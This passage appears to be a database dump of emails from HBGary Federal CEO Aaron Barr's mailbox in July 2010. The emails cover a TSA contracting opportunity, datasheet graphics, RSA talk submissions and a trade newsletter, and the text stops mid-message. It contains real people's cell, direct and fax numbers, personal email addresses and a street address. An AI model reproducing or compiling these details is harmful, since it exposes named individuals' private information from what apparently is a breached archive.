<ted@hbgary.com>','Re: TSA Opportunity','This is from Bill Luti who now works for DMI. &nbsp;DMI is owned by Ken Bajaj, who has a really good record of building business in this area. &nbsp;They would like some input on our desire to team with them on this. &nbsp;Question is who else is going after it and is their a possible better team mate.I am going to talk with Bill tomorrow to discuss a bit more.AaronOn Jul 14, 2010, at 6:54 PM, Ted Vera wrote:Aaron,What\'s the background on this? What\'s the opportunity? &nbsp;Do they want us to team? Who is digitalmanagement.com?---------- Forwarded message ----------\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Wed, Jul 14, 2010 at 2:58 PMSubject: Fwd: TSA OpportunityTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent from my iPhoneBegin forwarded message:From: William Luti &lt;wluti@digitalmanagement.com&gt;\r\nDate: July 14, 2010 4:42:48 PM EDTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;\r\nSubject: TSA Opportunity\r\n\r\nAaron,&nbsp;TSA SOW as discussed. Please\r\ntake a look and see if your folks might fit the bill in some of these areas. &nbsp;As always, good to talk with\r\nyou.&nbsp;Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n&lt;INPUT-RFIVersion4[1].docx&gt;&lt;INPUT-ITSSSIDIQandTO1SOWDraftdocx[1].docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12194,'aaron_hbgary_com/12194.html'),(8573,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006613.M811705P14101Q3428.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: 3 graphic requests to follow','ok I will give John a call tomorrow/today.\r\n\r\nAaron\r\n\r\nOn Jul 14, 2010, at 6:56 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n> make sense to me\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 14, 2010 9:20 AM\r\n> To: Penny Leavy\r\n> Subject: 3 graphic requests to follow\r\n> \r\n> First one is the top image for the datasheet.  You can download the icons at\r\n> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n> /\r\n> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n> more requests to follow.\r\n> \r\n> I would use the following ones:\r\n> blogger\r\n> digg\r\n> facebook\r\n> flickr\r\n> google\r\n> hi5\r\n> linkedin\r\n> myspace\r\n> orkut\r\n> reddit\r\n> skype\r\n> technorati\r\n> twitter\r\n> wordpress\r\n> yahoo\r\n> youtube\r\n> yelp\r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',678,'aaron_hbgary_com/678.html'),(8574,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006614.M128858P14101Q3429.eml','\"John Verducci\" <john@studioem.com>,\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Sure might be better to talk on the phone.  Whats a good # and time to call tomorrow/today?\r\nAaron\r\n\r\nOn Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n\r\n> Thanks Penny.\r\n> \r\n> Aaron - let me know what you need on these.\r\n> \r\n> Thanks\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>> make sense to me\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>> To: Penny Leavy\r\n>> Subject: 3 graphic requests to follow\r\n>> \r\n>> First one is the top image for the datasheet.  You can download the icons at\r\n>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>> /\r\n>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>> more requests to follow.\r\n>> \r\n>> I would use the following ones:\r\n>> blogger\r\n>> digg\r\n>> facebook\r\n>> flickr\r\n>> google\r\n>> hi5\r\n>> linkedin\r\n>> myspace\r\n>> orkut\r\n>> reddit\r\n>> skype\r\n>> technorati\r\n>> twitter\r\n>> wordpress\r\n>> yahoo\r\n>> youtube\r\n>> yelp\r\n>> \r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5808,'aaron_hbgary_com/5808.html'),(8575,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006614.M395327P14101Q3430.eml','\"John Senchak\" <1sgsenchak@gmail.com>','R u in Bldg today?','I will be and if ur available lets get a cup of coffee.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1289,'aaron_hbgary_com/1289.html'),(8576,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006614.M613085P14101Q3431.eml','\"David Etue\" <david@etue.net>','Re: can\'t submit?!!?!?','Dude I am tired.\r\n\r\nSee if what I changed or added makes sense.  I will put eyes on again in the morning.\r\n\r\n',396,'aaron_hbgary_com/396.html'),(8577,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006614.M872663P14101Q3432.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','RSA Social Media Submission','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2669,'aaron_hbgary_com/2669.html'),(8578,'2010-07-15','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006615.M153768P14101Q3433.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nSorry, I got hung up last night.  I have mtgs til 10:30-ish then\r\nI head to the airport.  I have 1130 til I board at 1 free.  How about you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 14, 2010 8:59 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: Phone call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure try when u can.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 14, 2010, at 7:48 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHey.&nbsp; I am in a conference\r\ntoday and will try to call during a break but am in a SCIF.&nbsp; How about\r\ntonight?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15785,'aaron_hbgary_com/15785.html'),(8579,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006615.M481575P14101Q3434.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Customer','I am heading in to see the customer today, I\'ll let you know if anything good comes out.\r\n\r\nWhat do you want to do about raytheon and cisco?  I am in a cyber group with their company cyber leads and can set up a discussion if you want.\r\n\r\nAaron\r\n\r\nSent from my iPhone',3950,'aaron_hbgary_com/3950.html'),(8580,'2010-07-15','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006615.M717694P14101Q3435.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: can\'t submit?!!?!?','\r\n\r\n\r\n  \r\n\r\n\r\nLong looks great.&nbsp; Short is 27 characters too long, so I\'ll try to\r\nshorten it up.&nbsp; \r\n\r\nOn 7/15/2010 2:06 AM, Aaron Barr wrote:\r\n\r\n  Dude I am tired.\r\n\r\nSee if what I changed or added makes sense.  I will put eyes on again in the morning.\r\n\r\n  \r\n  \r\n\r\n\r\n\r\n\r\nOn Jul 9, 2010, at 11:56 PM, David Etue wrote:\r\n\r\n  \r\n  \r\n    I\'ve been trying to submit the abstract, and every time I get an error from the website saying \"There was an error with your request.\"\r\n\r\nAny luck or feedback there?  The attached has my current drafts and my bio in case you are trying to submit.\r\n\r\nDavid\r\n&lt;rsa submission.docx&gt;&lt;Call for Speakers Offline 2011 - Leveraging Social Media While Mitigating Risk.doc&gt;\r\n    \r\n  \r\n  \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n\r\n',4141,'aaron_hbgary_com/4141.html'),(8581,'2010-07-15','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006616.M15563P14101Q3436.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: can\'t submit?!!?!?','\r\n\r\n\r\n  \r\n\r\n\r\nHere is a under 400 character version.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  Normal\r\n  0\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin-top:0in;\r\n	mso-para-margin-right:0in;\r\n	mso-para-margin-bottom:10.0pt;\r\n	mso-para-margin-left:0in;\r\n	line-height:115%;\r\n	mso-pagination:widow-orphan;\r\n	font-size:11.0pt;\r\n	font-family:\"Calibri\",\"sans-serif\";\r\n	mso-ascii-font-family:Calibri;\r\n	mso-ascii-theme-font:minor-latin;\r\n	mso-fareast-font-family:\"Times New Roman\";\r\n	mso-fareast-theme-font:minor-fareast;\r\n	mso-hansi-font-family:Calibri;\r\n	mso-hansi-theme-font:minor-latin;}\r\n\r\n\r\nSocial media has become part of the fabric of how\r\nwe\r\ncommunicate, but also presents increased risks of exposure of\r\npersonally\r\nidentifiable information (PII), intellectual property and other\r\nsensitive\r\ninformation.&nbsp; This session will discuss\r\nthe direction of the social web, risks of information exposure, social\r\nmedia\r\nreconnaissance, and mitigation techniques covering people, process and\r\ntechnology.\r\n\r\n\r\nOn 7/15/2010 9:53 AM, David Etue wrote:\r\n\r\n  \r\nLong looks great.&nbsp; Short is 27 characters too long, so I\'ll try to\r\nshorten it up.&nbsp; \r\n  \r\nOn 7/15/2010 2:06 AM, Aaron Barr wrote:\r\n  \r\n    Dude I am tired.\r\n\r\nSee if what I changed or added makes sense.  I will put eyes on again in the morning.\r\n\r\n  \r\n    \r\n\r\n\r\n\r\nOn Jul 9, 2010, at 11:56 PM, David Etue wrote:\r\n\r\n  \r\n    \r\n      I\'ve been trying to submit the abstract, and every time I get an error from the website saying \"There was an error with your request.\"\r\n\r\nAny luck or feedback there?  The attached has my current drafts and my bio in case you are trying to submit.\r\n\r\nDavid\r\n&lt;rsa submission.docx&gt;&lt;Call for Speakers Offline 2011 - Leveraging Social Media While Mitigating Risk.doc&gt;\r\n    \r\n    \r\n    Aaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n  \r\n\r\n\r\n\r\n',16495,'aaron_hbgary_com/16495.html'),(8582,'2010-07-15','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297006616.M367292P14101Q3437.eml','aaron@hbgary.com','Executive Mosaic\'s Summer Edition of GovCon Exec Magazine Featuring CACI\'s Jack London','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJuly 15,\r\n 2010Executive Mosaic\'s Summer Edition of GovCon Exec Magazine Featuring\r\n CACI\'s Jack\r\n LondonCACI\'s\r\n Dr. Jack London is featured in the new summer edition of GovCon Exec Magazine,\r\n available this week.&nbsp; London shares his thoughts on the current state of the\r\n business and his own incomparable career.\r\n Click Here to\r\n SubscribeDennis Stolkey, HP to Lead Navy\'s Next Generation Enterprise Network\r\n with $3 Billion\r\n CoSCHP\r\n Enterprise Services picked up a Continuity of Services Contract (CoSC) with the\r\n U.S. Department of the Navy, that could be worth $3 billion if all options are\r\n exercised. Click Here to Read\r\n MoreCMS,\r\n ONC Announce Health IT Rules&nbsp;\r\n The\r\n Centers for Medicare & Medicaid Services (CMS) announced its final version of\r\n \"meaningful use\" requirements for electronic health records (EHRs).&nbsp; The new\r\n regulations responded to congressional\r\n criticism of draft regulations and abandoned an \"all-or-nothing approach\" in\r\n favor of greater flexibility for care\r\n providers.Click Here to\r\n Read\r\n MoreCyber Czar Howard Schmidt: We Must Practice Public-Private\r\n PartnershipsAt last Thursday\'s AFCEA\r\n Cybersecurity Symposium held in Washington, D.C., White House Cybersecurity\r\n Coordinator Howard\r\n Schmidt delivered a keynote speech emphasizing a strategy of deterrence to\r\n fight cyber criminals and the need to educate Americans on how to safely operate\r\n in cyberspace.\r\n Click  Here to\r\n Read\r\n MoreMaking it \'Painful\' for Cyber Crooks Can Deter Criminal\r\n BehaviorIt\r\n started with a minor inconvenience that quickly escalated into nationwide panic.\r\n Twenty million of the nation\'s smartphones have stopped working, and a massive\r\n power outage is spreading throughout the Eastern seaboard. Multiplying in\r\n strength, the phone outage soon reaches 30 million users and causes disruptions at\r\n the New York Stock Exchange and electric grid failures. America quickly comes to a\r\n standstill. The culprit: A malware program planted in phones months earlier\r\n through a popular \"March Madness\" basketball bracket\r\n application.\r\n Click   Here to\r\n Read\r\n More\r\n John\r\nRiggins, Hall of Fame running back for the Washington\r\n Redskins, will be\r\nspeaking at the Potomac Officers Club on July 22,\r\n 2010.\r\n SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceExecutive Spotlight: Kevin Shelly of ACS, A Xerox Company\r\n Executive Spotlight: Douglas Charles of\r\n CapgeminiMicrosoft\'s Curt Kolcun on Teaming Up with USO to Take Troops Out to the\r\n BallgameKeith\r\n Fimian Selected \'Young Gun\' Candidate&nbsp;&nbsp;BAE Signs HEADS\r\n Order from ArmyBAE Set to\r\n Overhaul HERCULESNorthrop\r\n Grumman Working on Missile Warning Systems to Protect HelicoptersDennis Stolkey\r\n on HP\'s $3 Billion WinBAE, Honeywell\r\n Win Shares of Nine-Figure Deal, Lockheed and Boeing Score Navy WinsGeneral\r\n Dynamics Subsidiary Bath Iron Work Picks Up $105M ModificationHarris Signs\r\n Deal to Support Emergency Radio Communications in New YorkAlion Wins Deal\r\n to Support Navy\'s COMNECCL-3, Rolls\r\n Royce Ink DoD DealsGeneral\r\n Dynamics, Sikorsky, BAE Systems Pen DoD DealsHPTi\'s Scott\r\n Miller Discusses New VP Maggie BauerHarris Names\r\n Murray Sewell VP, Business Development for Intel and Civil Areas of IT\r\n ServicesID\'s Harry\r\n Martin Comments on New VP, Professional Services for DoD Clarence\r\n PapeDynCorp\r\n Acquisition Official; Bill Ballhaus CommentsBoeing to\r\n Acquire Narus, Announces Tender Offer for Argon ST; Roger Krone\r\n CommentsClick Here for\r\n More GovConwireDHS Looks to\r\n New Cyber EcosystemHackers\r\n Compromise Senator\'s Email AccountAustralia\r\n Reviews List of Banned WebsitesScareware among\r\n Fastest-Growing Online Scams, Says FBISpammers Made\r\n June \'Month of Malware\'SAIC Forges\r\n Cyber Education Partnership with Capella UniversityCSC Launches\r\n Online Cyber InitiativeMemo Outlines\r\n Cyber Responsibilities for Coordinator, OMB and DHSMalware\r\n Creating Smartphone BotnetSkype\'s\r\n Encryption Technology Reverse EngineeredClick Here for\r\n More from The New New Internet CEO Who Cares:\r\n Bill Hoover of AMERICAN SYSTEMSKevin Shelly of\r\n ACS, A Xerox Company: There is a great interest in cloud computingCSC Launches\r\n Online Initiative to Help Public, Private SectorBoeing Tenders\r\n Argon ST Offer, Announces Plans to Acquire Narus, Roger Krone SpeaksLoss of Zombie\r\n Networks Results in Increased Efforts by\r\n SpammersClick Here for\r\n More from GovCon Executive\r\n Blumenthal:\r\n \'Our nation is poised to harness the power of IT to improve\r\n healthcare\'Vice Adm.\r\n Mauney: \'We have lots of decisions to make in the cyber domain\'Record-Setting\r\n Number of Federal Workers Contribute to Charitable CausesObama Promises\r\n Better, Expanded Care for VeteransThree Maryland\r\n Colleges Recognized for Preparing Students for Cyber CareersOrszag and\r\n Schmidt Release Memo Defining DHS\' Cybersecurity RoleFBI Names New\r\n Deputy DirectorGates\r\n Recommends Mattis as Commander of U.S. Central CommandNSA to Launch\r\n New Cybersecurity ProgramHHS Provides\r\n $390.5 Million for Hospital PreparednessTSA Funds\r\n Enhance Security and Create JobsClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Executive Spotlight: Kevin Shelly of ACS, A Xerox Company\r\n Kevin\r\n Shelly heads government solutions sales for ACS, A Xerox Company.&nbsp; His\r\n experience includes a decade-long tenure at Bearing Point, where he focused on\r\n state, local and higher education markets.Click Here to Read\r\n MoreExecutive Spotlight: Douglas Charles of\r\n CapgeminiDouglas Charles is Capgemini\'s vice\r\n president of market development and sales officer for the Technology Services (TS)\r\n division in North America.&nbsp;&nbsp; Charles is tasked with leading the business\r\n unit\'s market development and sales strategy.&nbsp; He spoke with ExecutiveBiz\r\n about goals, challenges and the culture at \"Cap.\" Click Here to Read\r\n More&nbsp;\r\n \r\n Microsoft\'s Curt Kolcun on Teaming Up with USO to Take Troops \r\nOut to the\r\n BallgameTwo hundred wounded soldiers, active duty military and family\r\n members were honored at Sunday\'s Washington Nationals game against the San\r\n Francisco Giants. The celebration was part of USO of Metropolitan Washington and\r\n Microsoft\'s 4th Annual Salute to the Troops. Click Here to Read\r\n MoreKeith\r\n Fimian Selected \'Young Gun\'\r\n Candidate&nbsp;\r\n Keith Fimian, candidate for\r\n Congress (VA-11), has been selected as a National Republican Congressional\r\n Committee \"Young Gun\" candidate for his rigorous organizational and fundraising\r\n efforts.. Click Here to Read\r\n MoreA Letter from the EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',16688,'aaron_hbgary_com/16688.html'),(8583,'2010-07-15','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297006616.M683568P14101Q3438.eml','','ExecutiveBiz 4x24 Cyber Group - Directions to the Tower Club','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning group Members,\r\n\r\nI&#8217;ve included the link below for Tower Club directions\r\nfor our August 3, 2010 Cyber group Breakfast &#8211; Please call me with any\r\nadditional questions.\r\n\r\n&nbsp;\r\n\r\nhttp://www.clubcorp.com/club/scripts/memfac/view_memfac.asp?GRP=&amp;NS=PCH&amp;MFCODE=TOWTC\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2897,'aaron_hbgary_com/2897.html'),(8584,'2010-07-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006617.M296246P14101Q3439.eml','\"Aaron Barr\" <aaron@hbgary.com>','IMPACT','http://www.impact-alliance.org/services.html\r\n \r\n-G\r\n',13521,'aaron_hbgary_com/13521.html'),(8585,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006617.M611437P14101Q3440.eml','\"Barr Aaron\" <aaron@hbgary.com>','Asteroid','Have you asked Mantech / TASC / GD about Asteroid?-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5312,'aaron_hbgary_com/5312.html'),(8586,'2010-07-15','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297006618.M18017P14101Q3441.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RSA Social Media Submission','Great, thanks Aaron. Have you submitted this talk? Deadline is Midnight ET. Best, Karen--- On Wed, 7/14/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RSA Social Media SubmissionTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;Date: Wednesday, July 14, 2010, 11:06 PM\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n      ',7888,'aaron_hbgary_com/7888.html'),(8587,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006618.M258827P14101Q3442.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: RSA Social Media Submission','Yep it\'s submitted.AaronSent from my iPhoneOn Jul 15, 2010, at 12:15 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:Great, thanks Aaron. Have you submitted this talk? Deadline is Midnight ET. Best, Karen--- On Wed, 7/14/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RSA Social Media SubmissionTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;Date: Wednesday, July 14, 2010, 11:06 PM\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n      ',12305,'aaron_hbgary_com/12305.html'),(8588,'2010-07-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006618.M482419P14101Q3443.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Looks like I\'m not going to be doing any RSA talks, nothing is 	working',' \r\nKaren, Team,\r\n \r\nI have not been able to put anything together, after numerous attempts, that I am comfortable committing to.  That goes for a talk and also for a keynote panel.  While I have tried to get some input from all of you to help me, in the end I still don&#39;t have something that is working out.  \r\n\r\n \r\nI do have an existing talk, the one I am giving at Blackhat, which could be pitched.  It would be fine, and updated in some manner or another, for RSA.\r\n \r\nThe threat intel stuff isn&#39;t gelled - and to really do a good low level talk, would require commititng HBGary to a number of activities.  As a high level talk it just sounds like everybody else&#39;s &quot;cyber threat and doom&quot; talk - I can&#39;t make it stand out from the rest of the bullshit.\r\n\r\n \r\nAs for the keynote panel, I just don&#39;t have any ideas on what it could be on.\r\n \r\n-Greg\r\n',1550,'aaron_hbgary_com/1550.html'),(8589,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006618.M723153P14101Q3444.eml','\"Greg Hoglund\" <greg@hbgary.com>','BioWare On Why Making a Blockbuster Game Is a Poor Goal','BioWare On Why Making a Blockbuster Game Is a Poor GoalBioWare co-founder Greg Zeschuk spoke at the 2010 Develop Conference about the current focus within the video game industry on making huge, blockbuster titles, and why that is the wrong approach. Quoting Gamasutra\'s coverage:\r\n\"\'While blockbuster game creation is everything that most game developers working today growing up wanted to do, it\'s precisely the wrong thing to chase in gaming\'s contemporary landscape.\' Risk-taking from publishers and investors has dramatically declined in recent times, the Mass Effect and Dragon Age studio-runner noted: \'As a result, innovation and creativity [are] being squeezed. Where the bottom of the market had dropped out at one point, now it’s the middle of the market has dropped out. Unless you can be in the top ten releases at one given time, it\'s unlikely that a triple-A game is going to make money.\'\"\r\nZeschuk also commented that consoles aren\'t necessarily the future of game platforms, and that BioWare is experimenting with smaller scale MMO development in addition to working on their much larger upcoming Star Wars title.\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\nSent from my iPhone',4732,'aaron_hbgary_com/4732.html'),(8590,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006618.M944349P14101Q3445.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Looks like I\'m not going to be doing any RSA talks, nothing is 	working','Greg,\r\n\r\nIf you want to take over the talk i submitted on cyber is an\r\nintelligence problem not an it problem and take what you have already\r\ndone and work with the Palantir guys to develop some great datasets\r\nand visuals.  Then i can focus on the social media talk.  Thoughts?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 15, 2010, at 1:00 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Karen, Team,\r\n>\r\n> I have not been able to put anything together, after numerous attempts, that I am comfortable committing to.  That goes for a 